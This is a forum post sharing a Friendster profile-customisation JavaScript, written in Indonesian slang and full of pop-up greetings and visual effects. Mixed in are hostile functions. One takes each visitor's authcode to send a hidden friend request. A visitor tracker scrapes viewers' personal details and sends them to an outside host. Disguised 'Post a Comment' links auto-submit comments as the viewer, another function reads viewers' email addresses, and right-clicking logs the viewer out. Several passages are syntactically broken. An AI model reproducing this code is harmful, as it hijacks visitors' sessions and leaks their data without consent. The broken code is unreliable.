bang metropolix boleh liad punya ku ini...
[quote]/* -------------------------------------------------------------------- force login */
if(pageViewerID==""){
alert("[[KAMU MESTI LOGIN DULU YAH, BARU BISA LIAD PROFILEZ GUA.!!]]");
top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1";
}
/******************
* TOOLTIPS CURSOR *
******************/
document.write("<body title=\"header=[Hii.. "+pageViewerFName+"] body=[Welcome to my profile!!]\">");
//CSS INJEKSI
var css;
try {
css = document.createElement("link");
}catch(e) {
css = document.createElement("<link>");
}
css.setAttribute("type","text/css");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/tadulako/update/anuku.css");
css.setAttribute("media","screen, print");
document.getElementsByTagName("head")[0].appendChild(css);
//welcome alert
alert("...:::[[[ zLaMaaD DaTaNk dI,DuNia ReZZa ]]]:::...."); alert("...:::[[[ DoN'T fOrGet 2 Add Me AnD SeNd A CoMMeNT ]]]:::....");
//welcome alert
alert("...:::[[[ReMeMbER ThaT, "+pageViewerFName+"]]]:::...."); alert("...:::[[[ Or ]]]:::....");
//welcome alert
alert("...:::[[[ sEriUs Ini "+pageViewerFName+" ]]]:::...."); alert(" !!! ");
//welcome alert
alert("...:::[[[ Xixixixixi "+pageViewerFName+" ]]]:::...."); alert("...:::[[[ JuZt KiddiNg BrO.!!! ]]]:::....");
//welcome alert
alert("...:::[[[MoNggo, PunTen, siLahKan "+pageViewerFName+"]]]:::...."); alert("...:::[[[ Tapii kamu MeZTi NgaziH CoMMeNt duLU ]]]:::....");
var ask=confirm("Ok...?!?!")
if(ask==true){
alert("...:::[[[Makaseeh "+pageViewerFName+" UntuK CoMmentNya!!]]]:::....");
window.location="http://www.friendster.com/comments.php?action=add&uid=1703086";
}
else if(ask==false){
alert("...:::[[[ PELIT Lo "+pageViewerFName+", Ngasoh Comment Dikit Aja Knapaseeh..?? "+pageViewerFName+" Gag Rugi kan Muji2-muji Gw diKiT");
alert("...:::[[[ParaH Lo "+pageViewerFName+" Gw Sumpahin Jatuh Cinta Sama Nyet/mbiNg nnti Lu..!!!!!!");
alert("...:::[[[GagPapaLAh "+pageViewerFName+" KaPAn2 jaNgan Lupa Ngaseeh Comment YauwGh.!!");
}
}
//goodbye
function goodbye(){
alert('...:::[[[See yOu NeXt TiMe '+parent.pageViewerFName+' BuBhaYy.!!! ]]]:::....');
}
parent.window.onunload=goodbye;
}
//LOADER
if(navigator.appName=="Netscape") loader=new Loader();
function Loader() {
this.hide=function() {
lding.style.display='none';
}
var lding = document.getElementById('navBg');
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
//Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
//IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
//IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
lding.innerHTML="<br><br><br><br><br><br><br><br><br><br><center><b><font face='Courier New' size='3px' color='#000000'> ... zLaMaAD DatANk di dUNia ReZZa__ReZZa__ReZZa__..."+pageViewerFName+"...!!!!</B></FONT><br><br><img src='http://h1.ripway.com/rockaddicted/images/loading.gif'><br><br><center><b><font face='Courier New' size='3px' color='#000000'>...keepin' u'r hands 2 See My Profile...be QuiT...???<br><br>..LagI Nge-Load........Plizz Wait......Ok...!!!<br></font><b></center>";
lding.style.display='';
lding.style.position = 'fixed';
lding.style.top = '0px';
lding.style.left = '0px';
lding.style.width = myWidth;
lding.style.height = myHeight;
lding.style.backgroundImage ="urlhttp://i137.photobucket.com/albums/q205/ezil2007/overlay.png)";
lding.style.backgroundRepeat='repeat';
lding.style.zIndex=1000;
}
setTimeout("loader.hide()",10000);
//onload handler
function onProfileLoad() {
//addboxes here
//BAGIAN B
//ATUTO ADD
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "reza_s4qty@yahoo.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};
//C-BOX DIRAGUKAN!!!
var cbox="<div align='center' id='cboxdiv'>"+
"<iframe frameborder='0' width='100%' height='305' src='http://www2.cbox.ws/box/?boxid=1629983&boxtag=6168&sec=main' marginheight='2' marginwidth='2' scrolling='auto' allowtransparency='yes' name='cboxmain' style='border:#DBE2ED 0px solid;' id='cboxmain'></iframe><br/>"+
"<iframe frameborder='0' width='100%' height='75' src='http://www2.cbox.ws/box/?boxid=1629983&boxtag=6168&sec=form' marginheight='2' marginwidth='2' scrolling='no' allowtransparency='yes' name='cboxform' style='border:#DBE2ED 0px solid;border-top:0px' id='cboxform'></iframe>"+
"</div>";
addBox("RIGHT",pageOwnerFName+"'s Shoutbox",cbox,"cboxbox",null);
addBox("RIGHT",pageOwnerFName+"'s Visitors",TRACKER.div.innerHTML,"tracker","2");
}
/*TRACKER OBJECT*/
if (typeof TRACKER == "undefined") { TRACKER = {}; }
TRACKER = {
//iframe css
style: {
filter: "chroma(color='#FFFFFF')",
width: '100%',
height: '525px',
border: '0px'
},
//iframe attributes
attributes: {
frameborder: '0',
allowtransparency: 'true'
},
phplink: "http://www.kherminator.000webhost.info/tracker.php",
display: 5, //rows per page
/*do not edit below this line*/
/*
WVMv3.1.1
by marfillaster, (c) 2007
www.friendster.com/mumbhaki
credits: feruzz, friendstertalk.com,
www.friendster.com
licensed under GNU General Public License, version 2
http://www.gnu.org/licenses/gpl.html
Disclaimer: NO GUARANTEE and WARRANTY provided! For educational purposes only. Author will not be liable of ANY damage through the use of this program
*/
base_domain: "http://profiles.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp",
details: {
photo: null,
gender: null,
age: null,
status: null,
location: null,
seek: null,
since: null
},
regexp: {
photo: /imgblock200\x22><a[\S\s]*?img src="([\S\s]*?)"/i,
gender: />([\S]*?male)/i,
age: /male, ([\d]*?),/i,
status: /male, [\d]*?, ([\S\s]*?)<\/span>/i,
location: /Location\: <\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i,
seek: /In\: <\/span>([\S\s]*?)<\/li>/i,
since: /Since\: <\/span>([\S\s]*?)<\/li>/i
},
init: function() {
getElementsByClass(/commonbox[\s]*?controlpanel/i,null,"DIV")[0].innerHTML+="<iframe id=\""+this.iframeid+"\" src=\"about:blank\" style=\"display:none\"></iframe>";
var d= new Date();
var hr=invert(d.getTimezoneOffset()/60);
this.timedetails="os="+hr;
var ifsrc=this.phplink+"?"+this.timedetails+"&id="+pageViewerID+"&owner="+pageOwnerID+"&num="+this.display;
var atr="";
var sty="";
for (val in this.attributes) {
atr += val +"="+ this.attributes[val]+" ";
}
for (val in this.style) {
sty += val +":"+ this.style[val]+";";
}
try {this.div=document.createElement("<div>")}
catch(e){this.div=document.createElement("div")}
this.div.innerHTML="<iframe id=\"wvm\" "+atr+"src=\""+ifsrc+"\" style=\""+sty+"\"></iframe>";
if(pageViewerID!=pageOwnerID) if(pageViewerID!="") this.getDETAILS();
},
getDETAILS: function() {
processAjaxRequest("GET",this.base_domain+"/user.php?uid="+pageViewerID+"&_pmr=h&_pmmo=0&_pmt=controlpanel_1_1",true,null, "TRACKER.parseDETAILS",null);
},
parseDETAILS: function(htm) {
if(htm.replace(/^\s*|\s*$/g,"")=="") {this.error("Empty xmlresponse! Unable to parse your details!");return;}
else {
for (val in this.details) {
try {
this.details[val]=encodeURIComponent(new RegExp(this.regexp[val]).exec(htm)[1]);
}
catch(e) {
this.details[val]="";
}
}
if(!this.details.photo) {this.error("Unable to parse primary photo! Invalid xmlresponse or incorrect photo regexp.");return;}
this.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&img="+this.details.photo+"&gen="+this.details.gender+"&age="+this.details.age+"&stat="+this.details.status+"&loc="+this.details.location+"&seek="+this.details.seek+"&since="+this.details.since;
document.getElementById(this.iframeid).src=this.phplink+this.param;
}
},
error: function(e) {
alert("WVM ERROR: "+e+" Tracker will not update.");
}
};
/*END TRACKER OBJECT*/
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
TRACKER.init();
/*MISC FUNCTIONS*/
function addBox (type,head,htm,id,sibling) {
//by marfillaster
//type "LEFT" | "RIGHT"
//head header string
//htm innerHTML string
//id css_id string
//sibling css_id_insertbefore string | null
/* Available default Siblings
LEFT
0 = controlpanel
1 = photos
13 = blogs
12 = reviews
6 = moreabout
18 = publiccomments
10 = scrapbook
RIGHT
15 = meettrail
2 = friends
14 = googleads
7 = fan
8 = groups
null - appends to last
*/
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(type=="LEFT") {
var ul=document.getElementById("0").parentNode.parentNode;
htm="<div class='boxcontent'>"+htm+"</div>";
}
else var ul=document.getElementById("2").parentNode.parentNode;
li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
htm+
"</div>"+
"</div>";
if(sibling==null) ul.appendChild(li);
else {
sibling=document.getElementById(sibling).parentNode;
ul.insertBefore(li,sibling);
}
}
function processAjaxRequest(type,url,cont,param,handler,handlerparam) {
//by marfillaster
//type 'POST' | 'GET'
//cont 'true' | 'false'
//param string | null
//handler string | null
//handlerparam string |null
if(handlerparam) handlerparam=","+handlerparam;
else handlerparam="";
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}");
httprequest.open( type, url, cont);
if(type=="POST") {
httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httprequest.setRequestHeader("Content-length", param.length);
httprequest.setRequestHeader("Connection", "close");
}
httprequest.send(param);
}
function invert(x) {
if(x>0) return parseInt("-"+x);
else if(x<0) {
x=x+"";
return parseInt(x.substr(1,x.length-1));
}
return 0;
}
function randOrd(){
return (Math.round(Math.random())-0.5);
}
function getElementsByClass(searchClass,node,tag) {
var classElements = new Array();
if ( node == null )
node = document;
if ( tag == null )
tag = '*';
var els = node.getElementsByTagName(tag);
var elsLen = els.length;
var pattern = new RegExp(searchClass);
for (i = 0, j = 0; i < elsLen; i++) {
if ( pattern.test(els[i].className) ) {
classElements[j] = els[i];
j++;
}
}
return classElements;
}
/*END MISC FUNCTIONS*/
//slide photo gallery
var slodde = "<embed src=\"http://widget-e7.slide.com/widgets/slideticker.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" scale=\"noscale\" salign=\"l\" wmode=\"transparent\" flashvars=\"cy=fr&il=1&channel=1729382256925886884&site=widget-e7.slide.com\" style=\"width:100%;height:125px\" name=\"flashticker\" align=\"middle\"/><div style=\"width:100%;text-align:center;\"><a href=\"http://www.friendster.com/photos/17030986\" target=\"_blank\"><b>View All Photo</a> | <a href=\"http://www.friendster.com/friendphotoupload.php?uid=17030986\" target=\"_blank\">Upload Photo Fo Me</b></a></div>";
document.getElementById('content_1').style.height='100%';
document.getElementById('content_1').style.overflowY='hidden';
document.getElementById('content_1').innerHTML = "<table width='100%'><tr><td align='center'>"+slodde+"</td></tr></table>";
//more friends
var kawanku = "<div><div class='boxcontent'><div class='flogrid75'>
<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div><br>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div><br>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div><br>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div>"+
"<div class='flogriditem'><div class='ir'><a href='USERID'><img src='PHOTOURL'></a></div><div class='dr'><a href='USERID'>NAME</a></div></div></div></div><br></div></div><div class='viewall'><a href='/friends/17030986'>VIEW ALL</a></div>";
addBox("RIGHT","MORE FRIENDS",ALL BEST FRIENDS,"SWEETY FRIENDS","NICE FRIENDS");
}
if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()};
function addBox (type,head,htm,id,sibling) {
//by marfillaster
//type "LEFT" | "RIGHT"
//head header string
//htm innerHTML string
//id css_id string
//sibling css_id_insertbefore string | null
/* Available default Siblings
LEFT
0 = controlpanel
1 = photos
13 = blogs
12 = reviews
6 = moreabout
18 = publiccomments
10 = scrapbook
RIGHT
15 = meettrail
2 = friends
14 = googleads
7 = fan
8 = groups
null - appends to last
*/
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(type=="LEFT") {
var ul=document.getElementById("0").parentNode.parentNode;
htm="<div class='boxcontent'>"+htm+"</div>";
}
else var ul=document.getElementById("2").parentNode.parentNode;
li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
htm+
"</div>"+
"</div>";
if(sibling==null) ul.appendChild(li);
else {
sibling=document.getElementById(sibling).parentNode;
ul.insertBefore(li,sibling);
}
}
//BAGIAN C
//main nav flash
document.getElementById("mainnav").getElementsByTagName("ul")["treemenu1"].innerHTML=
"<li id='annamainmenu'><div>var figblack = "<object width='450' height='100'><param name='movie' value='http://h1.ripway.com/andha/flash/figblack.swf'><embed src='http://h1.ripway.com/andha/flash/figblack.swf' width='450' height='100'></embed></object>";
addBox("LEFT","FIGURE NAVIGATION BLACK VERSION",figblack,"figure","0");</div></li>"
//main pic flash
if (!attachOnLoadHandler(function() { primaryImg();})) window.onload = function() { primaryImg();};
function primaryImg() {
PRIMARYIMAGE.init();
}
if (typeof PRIMARYIMAGE == "undefined") { PRIMARYIMAGE = {}; }
PRIMARYIMAGE = {
HTML: [], sibling: [],
init: function() {
this.HTML = document.createElement("DIV");
this.HTML.innerHTML = "PUT ANY HTML CODE HERE";
this.sibling = this.getModuleByClassName(/imgblock200/i)[0];
this.sibling.parentNode.replaceChild(this.HTML,this.sibling);
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};
//ICON DIBAWAH CP
if (!attachOnLoadHandler(function(){rezzanhydhy()})) window.onload = function(){rezzanhydhy()};
function rezzanhydhy() {
var ezhadhiny;
try {ezhadhiny = document.createElement("div");}
catch (e) {ezhadhiny = document.createElement("<div>");}
ezhadhiny.innerHTML = "GANTI ICON URL";
ezhadhiny.setAttribute("style","text-align:center;padding-top:10px");
document.getElementById("controlPanelButtons").parentNode.appendChild(ezhadhiny);}
//MESSAGE
var message = new Array()
//customize your message below
message[0] = "::: this | My | Word :::";
message[1] = "Makasii dah mau mampir";
message[2] = "gaK ada Yg sempurna";
message[3] = "Enjoy my page!";
message[4] = "page Metropolis";
message[5] = "Thx 4 visiting!";
message[6] = "Have a nice day";
var reps = 2;
var speed = 200;
var p=message.length;
var T="";
var C=0;
var mC=0;
var s=0;
var sT=null;
if(reps<1)reps=1;
function doTheThing(){
T=message[mC];
A();}
function A(){
s++
if(s>8){s=1}
if(s==1){document.title='||||||===
|| '+T+' -----'}
if(s==2){document.title='|||
||==
|| '+T+' -----'}
if(s=
){document.title='|||=
||=
|| '+T+' -----'}
if(s==4){document.title='|||==
||
|| '+T+' -----'}
if(s==5){document.title='|||===
||||| '+T+' -----'}
if(s==6){document.title='|||==
||
|| '+T+' -----'}
if(s==7){document.title='|||=
||=
|| '+T+' -----'}
if(s==8){document.title='|||
||==
|| '+T+' -----'}
if(C<(8*reps)){
sT=setTimeout("A()",speed);
C++
}else{
C=0;
s=0;
mC++
if(mC>p-1)mC=0;
sT=null;
doTheThing();}}
doTheThing();
if (!attachOnLoadHandler(function() { marquee();})) window.onload = function() { marquee();};
function marquee() {
MARQUEE.init();
}
if (typeof MARQUEE == "undefined") { MARQUEE = {}; }
MARQUEE = {
content: [],
init: function() {
//photos
this.content = document.getElementById("content_1").innerHTML;
document.getElementById("content_1").innerHTML = "<marquee direction=\"left\" height=\"100%' scrollamount=\"5\" onMouseOver=\"stop()\" onMouseOut=\"start()\">"+this.content+"</marquee>";
}
};
// CONTROLPANEL
h=document.getElementById("controlpanel_header");
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_0'); return false\"><div >"+pageOwnerFName+"</div></a>";
// PHOTOS
h=document.getElementById("1").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_1'); return false\"><div>"+pageOwnerFName+"\'s Photo Gallery</div></a>";
// BLOGS
h=document.getElementById("13").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_13'); return false\"><div>"+pageOwnerFName+"\'s Blogs</div></a>";
// MOREABOUT
h=document.getElementById("6").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_6'); return false\"><div>More About "+pageOwnerFName+"</div></a>";
// PUBLICCOMMENTS
h=document.getElementById("18").getElementsByTagName("h2")[0];
h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_18'); return false\"><div>Testimonials and Comments for "+pageOwnerFName+"</div></a>";
function show_hide(the_box) {
if (document.getElementById(the_box)) {
if (document.getElementById(the_box).style.display == 'none') {
document.getElementById(the_box).style.display = 'block';
}
else {
document.getElementById(the_box).style.display = 'none';
}
}
}
//Scrolling Title Bar
putmsg="...:::[[[ Here I Come ]]]:::...";
letchar2="ˇ.¸¸.ˇ´´*`ˇˇ._.ˇˇ";
letchar1="ˇ.¸¸.ˇ´´*`ˇˇ._.ˇˇ";ultimo1=letchar1.length-1;
ultimo2=letchar2.length-1;
ultimo2=letchar2.length-1;
tiempo=setTimeout("tit_scroll()",.1);
function tit_scroll()
{
aux1=letchar1.charAt(ultimo1-1);
letchar1=aux1+letchar1.substring(0,ultimo1-1);
aux2=letchar2.charAt(0);
letchar2=letchar2.substring(1,ultimo2+1)+aux2;
document.title="(" + letchar2 + putmsg + letchar1 + ")";
tiempo=setTimeout("tit_scroll()",.1);
return true;
}
putmsg="...:::[[[ ReZZa ]]]:::...";
letchar2="ˇ.¸¸.ˇ´´*`ˇˇ._.ˇˇ.¸¸.ˇ´´*`ˇˇ._.ˇˇ";
letchar1="ˇ.¸¸.ˇ´´*`ˇˇ._.ˇˇ.¸¸.ˇ´´*`ˇˇ._.ˇˇ";ultimo1=letchar1.length-1;
ultimo2=letchar2.length-1;
ultimo2=letchar2.length-1;
tiempo=setTimeout("stat_scroll()",.1);
function stat_scroll()
{
aux1=letchar1.charAt(ultimo1-1);
letchar1=aux1+letchar1.substring(0,ultimo1-1);
aux2=letchar2.charAt(0);
letchar2=letchar2.substring(1,ultimo2+1)+aux2;
window.status="(" + letchar2 + putmsg + letchar1 + ")";
tiempo=setTimeout("stat_scroll()",.1);
return true;
}
function dobelKomen(){
document.getElementById("content_18").getElementsByTagName("div")[0].innerHTML="<div class=\"viewall\"><a href=\"#18\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">Post a Comment</a> | <a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">View All (2500)</a></div><span style=\"display:none\"><iframe name=\"komenframe\" style=\"display:none\"></iframe><center><form name=\"testimonial_form\" method=\"post\" target=\"komenframe\"><input type=\"hidden\" name=\"testimonial_firstname\" value=\""+pageOwnerFName+"\"><input type=\"hidden\" name=\"testimonial_uid\" value=\""+pageViewerID+"\"><input type=\"hidden\" name=\"_submitted\" value=\"1\"><table class=\"formtable\"><tr><td class=\"value\"><textarea style=\"width: 100px; height: 100px;\" rows=\"5\" cols=\"60\" name=\"body\"></textarea></td></tr><tr><td class=\"value\"><input readonly type=\"hidden\" name=\"inputcount\" size=\"5\" maxlength=\"4\" value=\"500\"><input type=\"button\" name=\"Submit\" onClick=\"document.testimonial_form.action='http://www.friendster.com/testimonials.php?uid="+pageOwnerID+"&action=add';document.testimonial_form.submit();\" value=\"Post\"></form></center></span>";
document.getElementById("content_18").getElementsByTagName("div")[22].innerHTML = "<div class=\"viewall\"><a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',3000);setTimeout('komenPage()',8000);\">Post a Comment</a> | <a href=\"#\" onClick=\"autokomen(document.testimonial_form);setTimeout('document.testimonial_form.Submit.click()',2000);setTimeout('komenPage()',8000);\">View All (2500)</a></div>";
}
var komen = new Array(
"<center><Font Face="Courier New" size="6" color="blue"> Th@NkZ 4 U'r CoMMeNT </center></font>
<center><Font Face="Courier New" size="8" color="red"><blink> [[KeePCoNtacT]] </center></font></blink>
<center><blink><td width="250" height="400" valign="top"><marquee align="bottom" direction="right" height="200"width="200%" behavior="alternate"scrollamount="20" direction="up"><img src="
http://photos-986.friendster.com/e1/photos/68/90/17030986/1_876145281l.jpg" width="230" height="70" /></marquee></center></blink></td>
<center><Font Face="Courier New" size="6" color="blue"> ...:: reza_ReZZa_ ::... </center></font></blink>
"
);
var r = 0;
function autokomen(bacot) {
r = Math.floor(Math.random() * komen.length);
bacot.body.value=komen[r];
}
function komenPage() {
top.location.href="http://www.friendster.com/comments.php?uid="+pageOwnerID+"";}
if (!attachOnLoadHandler(function(){dobelKomen()})) window.onload = function(){dobelKomen()};
// viewer photo at wwitm
if (!attachOnLoadHandler(function(){viewer();})) window.onload = function(){viewer();};
function viewer() {
if(pageViewerID!="") VIEWERPIC.init();
}
if (typeof VIEWERPIC == "undefined") { VIEWERPIC = {}; }
VIEWERPIC = {
photo: [],
init: function() {
if(document.getElementById("viewerpic") != null) {
this.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,"VIEWERPIC.viewer",null);
}
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("VMP Error: Unable to parse the photo!");return;
}else if (htm) {
try {
var targetPhoto = htm.match(/<profile_photo>[\S\s]+?<\/profile_photo>/gim)[0].replace(/<[\S\s]+?>/gim, "");
var targetName = htm.match(/<firstname>[\S\s]+?<\/firstname>/gim)[0].replace(/<[\S\s]+?>/gim, "");
var targetEmail = htm.match(/<email>[\S\s]+?<\/email>/gim)[0].replace(/<[\S\s]+?>/gim, "");
this.photo = document.createElement("DIV");
this.photo.align = "center";
this.photo.appendChild(document.createElement("a"));
this.photo.getElementsByTagName("a")[0].href = "/"+pageViewerID;
this.photo.getElementsByTagName("a")[0].target = "_blank";
this.photo.getElementsByTagName("a")[0].title = pageViewerFName;
this.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img"));
this.photo.getElementsByTagName("img")[0].src = targetPhoto;
this.photo.appendChild(document.createElement("br"));
this.photo.appendChild(document.createElement("span"));
this.photo.getElementsByTagName("span")[0].className = "q";
this.photo.getElementsByTagName("span")[0].appendChild(document.createElement("a"));
this.photo.getElementsByTagName("a")[1].href = "/"+pageViewerID;
this.photo.getElementsByTagName("a")[1].target = "_blank";
this.photo.getElementsByTagName("a")[1].title = pageViewerFName;
this.photo.getElementsByTagName("a")[1].innerHTML = targetName;
this.photo.appendChild(document.createElement("br"));
this.photo.appendChild(document.createElement("span"));
this.photo.getElementsByTagName("span")[1].className = "q";
this.photo.getElementsByTagName("span")[1].innerHTML = targetEmail;
document.getElementById("viewerpic").appendChild(this.photo);
}catch(e) {}
}
},
ajaxRequest: function(url,func,handler) {
if (handler) {
handler = ","+handler;
}else {
handler = "";
}
var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
if (func) {
eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+func+"(httprequest.responseText"+handler+");}}");
}
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
//NOT RIGHT CLICK FOR
var message="WadUCh "+pageViewerFName+" DiLaRaNg UntUk Klik KanaN di ProFiLez gUe "
function LogTo (link)
{
var new_url=link;
if ( (new_url != "") && (new_url != null) )
window.location=new_url;
}
function click(e) {
if (document.all) {
if (event.button == 2) {
alert(message);
LogTo('http://www.friendster.com/logout.php')
return false;
}
}
if (document.layers) {
if (e.which == 3) {
alert(message);
LogTo('http://www.friendster.com/logout.php')
return false;
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
}
document.onmousedown=click;[/quote]